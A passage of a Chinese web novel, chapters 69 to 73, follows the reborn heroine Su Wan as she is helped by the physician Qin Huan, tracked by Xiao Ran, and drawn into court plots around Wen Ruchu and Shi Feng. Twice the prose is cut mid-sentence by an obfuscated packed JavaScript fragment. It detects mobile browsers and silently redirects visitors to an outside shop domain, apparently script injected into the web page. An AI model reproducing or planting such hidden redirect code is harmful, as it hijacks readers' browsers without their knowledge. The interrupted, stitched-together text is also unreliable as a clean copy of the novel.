突然,马车的窗帘被掀开,露出一张娇艳的面容。那女子轻启朱唇,语气中满是不屑:“瞎眼的老婆子,竟敢挡本小姐的路。小心我让人砍了你的手脚喂江中的鱼!” 苏绾抬眼望去,几乎惊呼出声。 那位出言不逊的官家小姐,竟是福建都指挥使沈恪的掌上明珠,沈枝意。 苏绾紧握双拳,愤怒地质问:“姑娘此言差矣,分明是你的马车撞伤了我的人,怎还敢反咬一口?难道你的家教中没有礼义廉耻吗?” 沈枝意冷哼一声,满脸轻蔑:“你这老泥鳅,真是多嘴多舌。今日我就是要欺负你,你又能奈我何?” 说完,她便命令随从上前驱赶苏绾。 “且慢。”车厢内传来一个老者的声音,想必是沈恪本人。 沈恪缓缓说道:“卿卿,不可胡来。在这大庭广众之下欺负老弱妇孺,会激起民愤,对你的名声极为不利。” 沈枝意翻了个白眼,不以为然:“区区两个老妇,还能败坏我的名声?再说,我怕她们的诋毁做什么?” 沈恪提醒道:“若此事传到枫小子耳中,他必定会生气,你俩的婚约恐怕难以为继。” 这话触及了沈枝意的痛处,她立刻怒气冲冲地反驳:“枫哥哥是被苏绾那个贱人迷了心窍,才会狠心解除婚约。不是卿卿的错!” 她越说越气,小嘴撅起,眼泪在眼眶中打转,仿佛自己才是受了委屈的那一方。 苏绾在一旁听得目瞪口呆:那个狂妄自大的家伙,竟然单方面撕毁了与沈枝意的婚约! 怪不得沈氏父女如此急匆匆地赶路,想必是与时枫翻脸后,不愿再寄人篱下,客居他府。 沈恪安慰道:“好好好,不是卿卿的错。是爹爹错怪你了。”随即命令随从:“拿二十两银子给这位老妇人请大夫。” 他隔着窗帘,向苏绾诚恳地道歉:“老人家莫要生气,小孩子不懂事,还请您多多包涵。” 苏绾见对方已经示弱,便也不再追究,语气稍缓:“也罢,看在你父仁义的份上,老身不与你计较。但姑娘今后必须吃得教训,你的未婚夫才肯娶你,否则一辈子出不了阁。” 说完,苏绾转身,决然离去。 沈枝意在背后气得大骂:“你这老不死的,还敢咒我!我要你吃不了兜着走。” 沈恪急忙命令车夫驾车,迅速离开是非之地。 苏绾急匆匆地回到无霜身边,仔细检查她的伤口。 幸运的是,只是些皮外伤,身体并无大碍。 无霜咬着嘴唇,自责道:“都是我不好,不该去摸那些鱼。” 苏绾目送车队向官渡口驶去,心中盘算着如何避开对方的视线,以免引起不必要的麻烦。 过了一会儿,文竹和春蝉从商埠返回,他们不仅卖掉马车赚了一大笔,还带来一个好消息:对方愿意免费出动私家舢板船,帮助他们四人渡河。 无霜高兴地捶了文竹一拳,“你总算有点用处。” 不料这一拳正好碰到了之前被撞的伤口,疼得无霜的老脸皱得更紧,让文竹感到莫名其妙。 四人收拾心情,跟随文竹,来到主动提供渡船的商家。 对方四十岁年纪,两撇山羊胡,一见苏绾等人,眉眼眯成一条缝。 “咱们不走官渡,亦不走民渡。我知道一条河拐角的近路,不出半个时辰,准保安全渡过。” 苏绾听说可以抄近路,不必再同沈氏父女撞面,当即应承下来。四人乘坐一叶舢板小船,于黄河渡口狭窄处缓缓启航。 刚坐上 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正当舢板即将脱离漩涡之时,天边莫名卷起一阵狂风,顷刻间乌云密布,雷声轰鸣。风助浪势,浪借风威,河水更加汹涌,舢板如秋千般摇摆。 狂风卷起巨浪,一波接一波地拍打着舢板,山羊胡紧握船桨,奋力划水,试图稳住船身。然而,风浪太过猛烈,舢板几次险些翻覆。 船上四人脸色苍白,心中惊恐万分,却只能紧紧抓住船舷,祈求上苍保佑。 在这生死攸关之际,山羊胡决定冒险一搏。他调整船头,迎着风浪,利用风势加速前行。舢板在风浪中左冲右突,如同一片树叶在怒海中挣扎。 突然,一道巨浪如山岳般压顶而来,山羊胡大喝一声,用尽全力将船桨深深插入水中,以惊人的力量将舢板推向一旁。巨浪擦着扁舟而过,船身剧烈摇晃,但终究稳住了。 风浪稍歇,山羊胡趁机调整航向,寻找风浪较小的水域。他凭借对黄河水文的深刻理解,找到了一条相对平静的水道。舢板在山羊胡的引领下,缓缓驶离了风暴中心。 经过一番惊心动魄的搏斗,舢板终于驶入了平静的水域,并缓缓靠岸下关道口。 泺口南岸为官渡码头,曰上关道口,并形成一条街叫上关街。其下游不远处还有一个民渡码头,曰下关道口,有一小街叫下关街,主要停靠一些民用小船。 四人长舒一口气。 无霜吓得说不出话来,她紧紧抓着船舷,任凭山羊胡如何呼喊,她也不肯松手。 苏绾亦心有余悸,她揉搓额头,嗔道:“早知如此,就不走这条近路了。” 谁知山羊胡开口道:“你们既然过了河,现在该算一算账了。” 苏绾白眉一紧,“算什么账?不是说好了免费送我们渡河吗?” 山羊胡嘴一撇,“天上哪能掉馅饼?方才若不是我,你们早就淹死了。” 苏绾大怒,“若不是你,我们也不会遇险。分明是你故意引领走歧路。” 几人争辩不休。 忽然自附近走近一个身影,背着一方医箱,温声笑道:“又被我撞见你了!” (未完待续) 70. 诊脉 苏绾的瞳孔,骤然一缩。 眼前翩翩君子,身材颀长,玉树临风。身着青灰色长袍,随风轻摆,若流云之轻抚碧波,透出一股不沾尘埃的清逸之气。衣摆之上,以银白丝线绣成几枝翠竹,简约而不失雅致。 他比之上一世初见之时,显得更为年轻,眉宇间多了几分温润之色,少了些许忧郁之态。嘴角微微上扬,挂着一抹温和的笑容。 那笑容深深烙印在苏绾的记忆,纵是岁月流转,风霜侵蚀,也未曾有丝毫的消磨。 时隔两世,别来无恙。 秦欢双手垂立,语气淡然:“颜兄,别来无恙。自上次一别,已过月余。我开给你的驱寒祛湿方子,你可有好好按时煎服?” 山羊胡初时斜睨一眼,待看清来者,原先咄咄逼人的气势瞬间矮了半截,眼神四处游移,语气中带着不满:“我当是何人搅我好事,原来是秦大夫。你那要命的方子,药材着实难寻,煎煮忒为麻烦。我若有那个闲工夫,不知已赚得几笔横财了。” 秦欢叹道:“分明是救命之方,怎会要命?你有空去行骗,却无暇调养身体。若我仅治你身,不救你心,岂不成了助纣为虐之人?说吧,今日又是计划筹谋怎样一桩冤案。” 山羊胡被他一通严厉指责,立刻如同做错事的孩童,脸皮微热,低头嘟囔:“我何曾欺骗他们?辛苦助他们渡河,收取些许银两作为救命之资,乃是理所当然之事,难道还冤枉了他们不成?” 苏绾插言道:“可不是几两银子,方才你狮子大开口,索价高达五十两!我们的马车亦不过卖与你四十两银子,算来算去,我们反倒赔了十两银钱。” 人证物证俱在,令山羊胡哑口无言。原来他打从一开始,就盯上了文竹他们,故意高价收买马车,再以免费渡河诱惑之,企图敲诈巨额银两。 秦欢正色道:“我还不了解你?整日蹲守于黄河之畔,借商埠之便,专门敲诈那些初来乍到的外乡人。今日既然被我撞见,那么银两我来付,而你不得再为难他们。” 他从医箱中取出钱袋,数出几两碎银,递与山羊胡手中。 山羊胡嘿嘿一笑,见好就收,将银子纳入怀中,对苏绾讪笑道:“你们若下次再需摆渡,记得还来找我,我必给你们优惠。” 说完,转身消失于下关街,连他的破舢板也不要了。 苏绾见状,急道:“就这样放他走了,若他日后再去祸害别人,该如何是好?” 秦欢微笑道:“颜兄并非大奸大恶之人,只是有些贪财之心罢了。他水性极佳,对渡口漕运颇有建树,也曾帮助过许多贫苦百姓渡过险关。” “或许他见你们衣着华贵,车马齐备,似京城殷实人家,故而起了贪念。看在我的薄面上,姑娘大人有大量,饶过他这一回吧。” 人已被他放走,她饶恕与否,又有何干? 苏绾撇嘴道:“有钱也不是罪过啊,况且我们并非豪门大户……等等!” 脑中电光火石闪过,令苏绾顿时冷汗涔涔,全身如坠冰窖,她慌慌张张地问道:“你、你方才叫我什么?” 秦欢含笑道:“在下不才,恰巧是个大夫,能观人于微,亦不足为奇。姑娘正值妙龄,脸颊敷贴伪装,声带训练有素,故意化装成老妪模样。敢问姑娘有何难言之隐,非得易容改声不成?” 此刻苏绾惊若木鸡,心中飞速盘算,该如何罗织谎言,才能蒙混过关。可她做梦也未料到,会被人一眼看穿假面目。 秦欢见她默然不语,也不再追问,俯身施礼道:“鄙人姓秦,单名一个欢字,欢喜的欢。敢问姑娘尊姓大名?” 熟悉的话语,从熟悉的人口中吐出,让苏绾恍若隔世。眼前的秦欢,亦幻化为前世之影,身着青白麻布长袍,面带那抹熟悉的温和笑意,“愿卿闻我名,欢喜入心肠。” 一旁的无霜惊呼出声:“秦欢?你是秦欢?” 她紧握苏绾的手臂,手指颤抖地指向秦欢,脸上满是难以置信之色,“小姐,他竟是秦欢!” 苏绾心中波涛汹涌,恨不得时光倒流,重头来过,又懊恼自己竟以如此落魄之态面对他——至少让她换上衣裙,再卸下这层老皮啊! 秦欢一怔,“难道我们认识?” 何止认识,他是她生命中一笔不可磨灭的浓墨重彩。失去他,她如同失去了灵魂。能在这一世再次相逢,苏绾从未如此感激过上天,给予自己重生的机会。 风烟草树,尽是欣欣向荣之景。 秦欢的医馆,座落在下关街一个幽静不起眼的角落。 推开那扇岁月留痕的木门,一股淡淡的药香扑鼻而来。青石铺就的地面,古木雕成的梁柱,简朴中透露出一份雅致。四壁悬挂着几幅墨迹斑驳的草药图谱,古意盎然。古木长案横陈正堂,案上摆放银针与玉板,显得庄重而神秘。 药柜之侧,身着青衫的童子,低眉垂目,神情专注,手中轻捻着草药。角落里的铜炉冒着袅袅青烟,炉火映照童子侧脸,汗水悄然流淌。 童子见秦欢归来,急忙站起身,用袖口擦拭额间汗水,恭敬道:“先生回来了?您命我整理的草药,弟子已经收拾妥当,还请先生过目。” 秦欢微微颔首,吩咐道:“这几位是我的朋友,你先带他们去后院洗漱更衣,再安排他们在厢房住下休息。” 童子领命,随即退下。 不多时,苏绾等人皆焕然一新。脱去了连日来的尘土衣裳,洗去了脸颊上的铅华,众人皆感到一身轻松。 两位小丫头初来乍到,对一切都感到新奇,拉着童子问东问西。文竹素来沉稳,忙着在院子里清点行李。所幸携带的物品并不多,很快便收拾得井井有条,令童子惊叹不已,暗自思忖若自己有文竹这般能耐,也能省去先生不少责骂。 苏绾端坐于馆内会客室,面前一扇轻纱如烟,朦胧间遮掩了她的容颜。此刻她的心,如小鹿乱撞,扑通扑通跳个不停。 来时的路上,她已将苏家遭遇变故轻描淡写地交代了一番,借口说自己孤身外出散心,恰巧听闻苏家有一门远亲在济南府,便顺道前来探望一下,不日即将再次启程。 秦欢听后,未置一词,亦未对她的话生出 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幸好隔着一帘轻纱,不至被人看穿她的忐忑。 秦欢轻轻搭指于素腕脉搏,闭目凝神,细心体察脉象,神色逐渐肃穆,呼吸愈加沉重。 “脉象细弱而数,稍显不匀,此乃心气不足,肝气郁结之象。心脉细弱,说明心神受损,心气不充;脉数不匀,则暗示肝气不畅,情绪郁结。” 苏绾不解道:“脉象为何如此?” 秦欢道:“你所受之苦,乃是情志内伤所致,此症与心、肝、肾三脏功能失调息息相关。心藏神,肝主疏泄,肾藏精,若情志受损,心神不宁,肝气郁结,肾精受损,脉象便会如此杂乱。” 苏绾问道:“那我可还有救?” 秦欢道:“此乃“郁证”,不难治愈。我为你开具一剂药方,以补心气、养血安神为主,同时疏肝解郁,温补肾阳。此外,针灸也是治疗此症的有效手段。” 苏绾一听又要给她扎针,慌得素手紧摇,“不要,不要针灸,我、我怕。” 秦欢笑道:“针灸之感,因人而异,多数人只会感到轻微的刺痛,随后便是舒缓之感,表妹不必担忧。” 苏绾为难道:“我的体内,已经有、有七根银针,不想要再多了。” 秦欢闻言一怔,“谁说的?我观你的经脉尚且顺畅,并无异物堵塞。哪里会有银针呢?” 昔日老道话语,历历在目:“你不就是京卫指挥使的小妾?贫道从你身子骨里挑出七根银针,你忘了吗?你的夫君为了救你,可是遭了剖心刮骨之苦,你竟翻脸不认人。” 难道老道所言,句句为实? 那个家伙,竟然在她不知道的情况下,替她取出了体内的银针。 苏绾内心大受震撼,犹如五雷轰顶。当下她头脑一片昏沉,再无力应对秦欢,推说自己旅途劳顿,起身匆匆告辞。 帘内秦欢眼眸泛着微光,一切皆如他所料。上一世遗留的那笔风流冤债,如今终于有了契机。 (未完待续) 71. 陷阱 六月将尽,七月来临。 北方的夏季,虽然来得迟一些,气势绝不输于南方。炎炎烈日当空,酷热难当,人间仿佛下了火,没有一丝暑尽的迹象。 旌旗猎猎,车马驱驰,广袤无垠。 浮华帘幔掀起,露出俊朗非凡的面庞,双眸似桃花含露,努力眺望天边尽头。 忽而一抹黑影自侧方掠过,顷刻间遮挡了远眺的视野,桃花眼眸弯了弯,檀唇微启:“京城相距杭州,迢迢两千里,道阻且长。榆白兄护送之劳,我真不知该何以为报。” 银白骏马白玉鞍,端坐一位玄甲将军,凤眸清冽,浑身散发出威严气息,令人难以接近。 男人紧握缰绳,声如寒冰:“我自奉圣上旨意,护送温侍郎一路南下,并非出于私心,温大人不必挂怀,本将军心领了。” 温如初笑了笑,“瞧瞧你那副傲娇德行,好赖话也听不出来,我是在心疼你!你在诏狱受了天大的委屈,身上伤疤还未痊愈,就急匆匆地启程保驾,朝廷也忒不近人情焉。” 目光在男人身上逡巡,“李鹤鸣怎么欺负你的?回头我找锦衣卫算账!他竟敢公报私仇,这口气绝不能轻咽下去。” 语气充满愤懑,倒真好像要替他寻仇一般。 时枫斜睨一眼对方,鼻腔哼得一声,“你不必同我假惺惺,你我的兄弟情分,早在我入诏狱那一天就已经断干净了。你真当我不知道吗?背后挑唆陆能御前告我黑状的人,不是你还能是谁?” 温如初轻叹一声,“原来榆白是为这个生我的气啊,实乃天大的误会!你可知陆展元之祸乃何人所为?说出来你决然不信,是苏府的一名仆役,化装成女子模样,堵着西城门暗施毒手。” “陆能调查出凶手身份,首当其冲便是怀疑我!我在御前同他据理力争了半日,他找不到替罪羔羊,只好胡乱猜测人。榆白你也只是时运不济罢了。” 温如初行事谨慎,从不在细枝末叶上露出破绽。他若有意策划一件事情,必然将自己择清或者隐匿至深。 时枫也不过是信口开河,随便说说而已。陆展元被害案,以及他被抓进诏狱之事,前因后果,清清楚楚,没有半点疑虑。 他对邵云礼所言,百思不得其解。 邵云礼信誓旦旦地告诉他:“温如初已在不知不觉中,彻底掌控了后宫势力。如今朝堂之上,除却阁部之外,再也无人能与之抗衡。” 温如初何时何地,以何种手段,笼络后宫?又凭何杀害时樾,转投阁老门下?凭他一人之力,岂能分身兼顾那许多事情? * 那日,邵云礼自太后寝宫碰了一鼻子灰之后,在别无他法,万般无奈的情况下,不得已转身急匆匆地赶往镇南王府。 镇南王年过六旬,早已卸甲归田,平日里无事可做,唯独宠爱养猫。因其钟爱的“御猫”飘雪无端失踪,他不得不派人四处搜寻,却因此与邻府结怨。 温侍郎直接一纸谏文,将他告上御前,控告他“侵扰邻里”的罪名。岂有此理,他还未控诉对方绑架御猫,对方先发制人,让他百口莫辩,有理说不清。 结果圣上将两案并为一案,交由司礼监审理。 众所周知,司礼监向来站在太后一边。镇南王虽非太后亲生,但毕竟血浓于水。 镇南王听闻此事,以为机会来了,便急急赶赴太后寝宫,涕泪俱下,细述温侍郎如何欺辱他。 谁知太后听罢,只是摇头叹息,未置一词,推说头风犯了,便命人将他送走。 镇南王瞪大眼睛,难以置信太后,竟然不肯为他主持公道。 他不禁怀疑,太后年事已高,已不辨是非轻重。 果不其然,司礼监审理结果——镇南王全面败诉,宅墙地基须内退十丈;御猫亦被关进牢笼,不得再靠近温府半步。 镇南王恨不能将温如初撕成碎片,亦恨太后不顾血脉之情。可还记得,三十年前“夺嫡大战”中,他是如何舍命帮助七皇弟剿灭太子党羽,并登基为新储,而当时的贵妃,也一跃升为皇后,最终成为太后。 帝王之家,果然无情。 镇南王心中积怨无处宣泄,只得埋身躺进家中藤椅上,怀里抱着御猫,空对着满园夏花,黯然神伤。 “飘雪啊飘雪,你可不许学坏,反咬主人一口哦。人心啊,最难预测。” 忽然朱总管传报:“大理寺卿求见。” 邵云礼甫一进花苑,随即高呼:“王爷救命,救命!” 镇南王疑惑:“尔卿何故求救于本王?” 邵云礼道:“王爷可知,京卫指挥使时枫遭人陷害,被抓进诏狱受审。” 镇南王眨眨眼,“本王略有耳闻。” 邵云礼道:“王爷可知,是哪个奸佞小人在背后谗言,诋毁时将军?” 镇南王摇摇头。 邵云礼道:“还不就是户部侍郎温如初!” 镇南王大惊,“怎么回事,你快说来听听。” 邵云礼便将事情前因后果,掐头去尾,添油加醋,顺着镇南王的心意,缓缓道来。 他讲述时枫如何英勇捣毁山寨,救出苏绾,又如何怒斥陆展元,却因此激起了温如初的嫉妒之心。温如初暗中挑唆陆能诬告时枫,导致其入狱。而太后竟然无端偏袒温如初,对时枫的遭遇视而不见。 镇南王听罢,情绪激动,紧握双拳,连那花白的胡须也因愤怒而微微颤抖。他心中对温如初的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323847|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨意更甚,对太后的冷漠也感到愤慨。邵云礼的话,无疑在他心中添了一把火,让他对温如初的敌意愈发强烈。 邵云礼道:“温如初忒为嚣张跋扈,这朝堂之上,岂能由他恣意妄为。” 他低声道:“长此以往,皇家的江山,恐遭他人篡夺。” 此话说到镇南王痛处,恨得咬牙切齿,“姓温的也太过嚣张,不给他点颜色看看,他都忘了自己是谁。” 镇南王道:“你不必担心,凭本王书信一封,替时枫向圣上力陈冤屈。圣上因御猫一案,自知对我不公,我若如此推荐他,圣上必会领情。” 邵云礼大喜:“多谢王爷成全,卑职替时枫感恩戴德。” “仅凭如此,恐怕伤不得温如初的根基。还请王爷上本,推荐时枫作为钦差,南下跟随温侍郎。名义上是护卫,实则为监督、甚至……” 他打住话头,手背一抹脖子,做了个暗杀的动作。 镇南王心领神会,当下商定谈论下一步。 就这样,借助镇南王的庇佑,时枫得以从诏狱里释放。 临走那一日,李鹤鸣负手而立,脸色异常难看。 时枫拖拉着沉重的脚镣,昂首挺胸走出门,经过李鹤鸣时,对方沉声道:“为兄亦有苦衷,贤弟不会怪为兄吧?” 时枫凛然一笑,“李大人说的对,都是圣上的奴才,谁也别说谁。” “只是……”他冷笑一声,“你的奴才相,难看死了,我看了,隔夜饭都要呕出来。” 李鹤鸣脸色青白,后槽牙几乎被咬碎。 时枫出了诏狱,打老远望见邵云礼招手。 邵云礼道:“你小子命真大,进了诏狱居然全须全尾地出来,百年来屈指可数。” 时枫惨笑一声:“说吧,你是怎么把我从诏狱里面捞出来的。” 邵云礼如此交代一番,末了提醒他:温如初绝非一般人,此人浑身上下都是谜题,小心驶得万年船。 夏风多暖暖。 时枫道:“你的未婚妻失踪,也未见你着急。怎么,后悔娶她吗?” 温如初笑道:“她怎么会失踪呢?她的一举一动,皆在我的视线之内。我再了解她不过,离开我的身边,哪怕只要一刻钟,她都要哭着找寻我呢。” 时枫听得心里泛酸,“那我怎么不见她,缠着你不放呢?”冷笑道:“她不会想要逃离你的身边吧?” 温如初冷笑道:“榆白管得也忒宽,实话对你说吧,绾绾已早我一步南下,如今大概到了济南府地界。咱们一路行过去,正好与她碰头。” 时枫心内一紧,温如初如何知道她的去处?难道设好陷阱想要围剿她? (未完待续) 72. 跟踪 青天荡荡,碧草悠悠。 萧染的细长眼眸卷了卷,银灰绢纱襕衫随微风流转,似心底哀愁翻动。 “久违了,苏二小姐~”他故意拉长腔调,慢吞吞地打招呼。 苏绾顿觉头皮发麻,仿佛遭虫蚁啃噬骨髓。追兵竟然来得如此迅速,根本不给她任何机会遁逃。 只是,为何是萧染? 萧染给了她答案,“上次在山寨,又被你使诈侥幸逃脱。一而再,再而三,跌进同一个坑。萧某痛定思痛,天涯海角也要抓到你。” 那一次,苏绾利用口技,模仿大理寺卿援驰京卫指挥使,吓退了萧染的杂牌军。 事后萧染左思右想,越想越不对劲——假如真有所谓的“援兵”,为何不一鼓作气围剿他? 逢敌不亮剑,如同锦衣夜行。 他有理由相信,当时在场人员,仅有他们仨人。所有的一切,都是演出来的假象。 当然不会是时枫在搞鬼,他从一开始就已经将时枫的底细摸得一清二楚。驰骋疆场的冷面将军,绝不屑于弄虚作假,虚张声势。 还剩一个苏绾。 萧染于是着手调查关于苏绾的身世和来历:贱妾所生的庶女,木讷寡言的小姐,擅长刺绣女红,长得还算有点姿色;两年前被路过的温如初从行院拯救,两人一见钟情,遂订立婚约。 除此之外一无所获。 线索中断,令萧染感到颇为头疼,进而又对苏绾生出一丝兴趣:为何她与别家的女子不一样?一切看上去皆合理,细究一番,又没有一处正常。好似一团缠绕的丝线,剪不断,理还乱。 他把这份纠缠归咎于日间思虑太多,而夜里睡得太少。直至手下向他禀报:苏绾假扮成老妇,一路向南,逃之夭夭。 她逃什么呢? 为了进一步弄清楚真相,萧染匆匆踏上征途,跟随苏绾的脚步,来到济南府某医馆。 看到一幅岁月静好的画面。 苏绾咬了咬朱唇,“我与你无冤无仇,何苦追着我不放?”低下螓首,声音遥远且凉薄,“你要杀的人,与我没有半点关系,我也不会求你放过他。” 萧染蓦然一愣,“怎么会没有关系?你有了新相好,就忘了旧情人?” 襕衫袍袖一展,指向遥远的北方,声音颤抖:“你可知他为了掩护你的行踪,甘愿受人诬陷,被抓进了诏狱,再也不曾活着放出来!” “你说什么?!”苏绾闻言一惊,“你再说一次,他怎么了?” 萧染眨了眨眼眸,叹口气道:“衣不如新,人不如故。他为了你丢掉了性命,你却背信弃义,另投他人怀抱,我还有什么可说的。” 萧染故意撒谎,意欲搅乱苏绾的心神,其实他一早接到消息,此刻时枫已在南行的路上了。 “他、他……” 苏绾只觉耳边绝响缭绕,眼前星火闪耀,嘴里喑哑难言。心中攒聚的那腔热火,趁势向上释放蔓延,烧灼燃烬她的五脏六腑。 天地不复,云雷缔构。 身穿玄衣铠甲的将军,骑着银白色的神驹,手中拉满弯月弓,箭头砉划指向她的喉咙。 男人嘴角动了动,说了句什么。浓重的烽烟窜上戍楼,淹没了男人的话语。 苏绾以手帖耳,大声呼唤:“你说什么?我听不清楚!” 她有些着急,两手拼命比划,却无济于事。筋疲力竭之际,发现自己被麻绳捆绑着,高高立在城门楼。 黑风倏起,白日黯黯。 青面獠牙恶鬼,张着血盆大口,高举松油火棍,点燃如山高柴垛。古老京城血色弥漫,城墙硝烟滚滚,焦糊气味四散。 低眼望去,脚下芸芸众生相,跪地祈求祷告:“妖女苏绾,祸国殃民,天命诛杀之。” 苏绾撕心裂肺呐喊:“我不要死,我不要死!” 玄甲将军手中横举金枪,向苏绾飞掷出去。风驰电掣,苏绾紧紧闭上眼,等待命运的审判。 不知过了多久,万籁俱空七弦定。 苏绾缓缓睁开眼,赫然望见,恶鬼已被一杆金枪扎中肩膀,浑身颤抖躺倒在地,生命危在旦夕。 转头望去,玄甲将军单膝跪在脚下,凤眸清冽炯炯,眼底泛着无限疼惜。 男人咬着牙,脸颊挂着血泪,字字清楚明了: “苏绾,下一世我将庇护你一生,让你不再受人凌辱摆布。” 流水落花,万物静止。 束缚身体的麻绳骤然断裂,苏绾感到身心无比轻松。白色裙底探出光脚丫,轻轻地向前探了探,虚空缥缈出现圈圈波纹。 她大胆地向前走去。 一步,两步。 踩着熊熊燃烧的烈火,苏绾缓缓走下高台,朱唇低低吟唱童谣: “救世将军降临, 杀破黎明搅乱天阵, 世界即如指掌大, 翻云覆雨。” 她低眸觑着玄甲将军,伸出素白玉手,轻轻抚摸脸颊,为他揩去血泪。 “谢谢你,为我做的这一切。” “如果有来世,我会用一生的眼泪来偿还你。” “但我不需要你的庇佑。” “我自己可以的。” 说完,浑身生出红色铠甲,将苏绾紧紧包裹住,身骑金红色宝马,手握三尺金杖。 苏绾擎着金杖,向混沌污浊处,轻轻一点。浊气瞬间烟消云散,化为一缕清风隐没。 身后红云涌动,数不清的士兵高举红色旗帜,汇成复仇的海洋。末世终将推翻,苍生得以解救。 千钧一发之际,秦欢疾步向前,扶住晕厥倾倒的苏绾,将她横腰抱起。 “瞧你干的好事!”秦欢满脸怒容,对萧染嗔道。 萧染一脸看好戏似的坏笑,背着手调侃道:“你什么时候同她搞在一起?你可知她是谁的女人?” 秦欢没空搭理他,抱着苏绾匆匆走进厢房。彼时无霜呆愣在一旁,手里的青州府花边死攥着不放。 无霜并不认识萧染,然而从苏绾的反应来看,她断定萧染不是好人。而秦欢与萧染熟识的样子,令她更添一层担心。 无霜眼看着秦欢将苏绾轻轻放到床上,替她整理鬓边散乱的发丝,小心翼翼掖好被角,缓缓拉合床帏。动作轻柔体贴,处处充满细腻的心思。 无霜张了张嘴,正想开口说点什么。 “嘘~”秦欢低声示意她,“你不要怕,她只是忧虑过度,本无大碍,睡一觉就好了。” 无霜木楞地点点头。 停了一息,秦欢淡淡问道:“你可认识京卫指挥使,时枫?” 无霜瞬间石化。 * 九夏花开,百年树垂。 萧染背靠书房窗格旁边的墙壁,双臂交叉抱在怀里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354241|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慵懒随意的姿态,看起来与襕衫散发的书卷气显得格格不入,恰好展现出,他本身就是矛盾的载体。 修长手指轻敲手臂,萧染撇了撇檀唇,“你躲在医馆算天算地,却算不到那个人的存在,也太无用了呀。整个京城都晓得,他们三人之间错综复杂的感情关系,只有你个傻瓜还蒙在鼓里。” 秦欢依旧撰写万年不变的药方,听到萧染一席揶揄之言,眉头蹙了蹙,不悦道:“你早知如此,怎不预先告知我?事后诸葛亮,又有何用?你就是这般报答我的?枉费了我对你的知遇之恩。” 萧染挺了挺眉毛,“哎哎?有事说事,别扯那些没用的。你我之间的情分是另一码事,跟她苏绾没有半文钱关系哟。” “谁让你闷着捂着,绝口不提自己还有这么一个表妹,叫我上哪里猜测你的心上人姓甚名谁。我才要鸣冤叫屈!你想我一路追踪她,莫名其妙追到你家里来,可想而知我比谁都震惊,谁来安抚我一颗受伤的脆弱心灵呢?”萧染抬起宽大衣袖,假装痛心疾首,捶击胸膛。 全拜那人所赐,让他领了一道天命血痕,时隔半月,触碰伤口依然隐隐作痛。 那点微乎其微的痛苦,躲不过秦欢的眼睛,他陡然站起身,缓缓趸步走近萧染,伸手触摸他的胸膛。 突如其来的靠近,慌得萧染侧身一闪,“喂,你说归说,不带动手动脚啊。” 秦欢翻了翻眼白,揪着襕衫,将萧染摁坐于案边,兀自扯开前襟察看。果不其然,胸前缠绕厚厚的一层麻布绷带,因处理不够及时得当,渗透出莫名的液体,已有些发黄发硬。 他转身找到医药箱,掏出各种工具,熟练地为他更换绷带。此刻萧染突然不躲了,乖乖给他随意摆弄。 秦欢边换药,边叹气,“我本不欲将苏绾拉扯进是非之中。从头到尾,我的目的只有一个:杀掉温如初。为此我精心准备了整整两年,暗中招兵买马,就为了堵死温如初的前程。可不知怎地,温如初官运亨通,平步青云,竟然还搭上阁老的关系。如今他更是笼络了后宫人脉,就连太后和皇后也对他宠爱有加。” 秦欢一拳敲上桌案,咬牙恨道:“可恶,我似乎怎样都赶不上他的步伐。” 这一拳震动案边工具碰撞,叮当作响,萧染生怕自己被人当做出气筒,顺便再给他无端添加一道天命血痕,直接胸膛开个红叉。 他吐了吐舌头,“我是不知道你跟温如初有何深仇大恨,你这也不肯说,那也不肯说,一心独自复仇。我就是想帮忙,也帮不上啊!再说了,温如初不过是阁老的一条狗,至于你这般大费周折地算计他么?” “至于时枫那边,你放心吧,朝廷就没想过让他活命,早晚有一天他会落到我手里,根本不需要你操心。若不为追杀时枫,我才懒得跟踪苏绾这条线呢。” 其实他跟踪苏绾,完全出于自己的兴趣——他总觉得,苏绾跟别的女孩子不一样,具体哪里不一样,他又说不出来。 萧染卷了卷细长眼眸,建议道:“既然你对她有意,依我看,你不如趁早娶了她,瓜熟蒂落,以防夜长梦多!” 话音刚落,秦欢猛地抬头,死死盯着萧染的细长眼眸,许久。 末了,摇摇头,无奈地叹口气。 窗外夏花绚烂,清风吹过,落英缤纷。花瓣摇摇晃晃,亦如秦欢的心情,一落泥途迹愈深。 (未完待续) 73. 撮合 星河澹澹,凉风习习。满园夏花,浸润斑斓星辉,愈发光彩夺目。草丛里的萤火,星星点点,疑似璇玑陨落。 荷塘翻露气,清风鉴水,明月天衣。绢鞋沾染夜露,珠光玓历,踏着芊眠蒲草,无声无息。 周围漂漾着漠漠香花,搔弄苏绾的鼻尖,有点点痒,令她忍不住打了个小小的喷嚏。 “冷吗?披上我的袍子。”秦欢脱去青灰外氅,伸手递了过去。 温润的嗓音像暖风,吹散苏绾心里的冰。她抽了下鼻尖,摇摇头,“不冷。燕京的夜比这里凉得多,这里的风是暖的。” 手中的袍子递不出去,秦欢展臂重新穿上衣裳,目光淹穆,“你身体里的郁症常年闷积,不得释放。若不加以调理,急火攻心,堪如虫蚁啃噬,痛苦难捱。” 苏绾叹道:“我这副破锣身子,早不抵用。眼前不过是,挨得一天算一天罢了。” 秦欢奇道:“表妹青春尚好,怎得口气苍凉如老妪?” 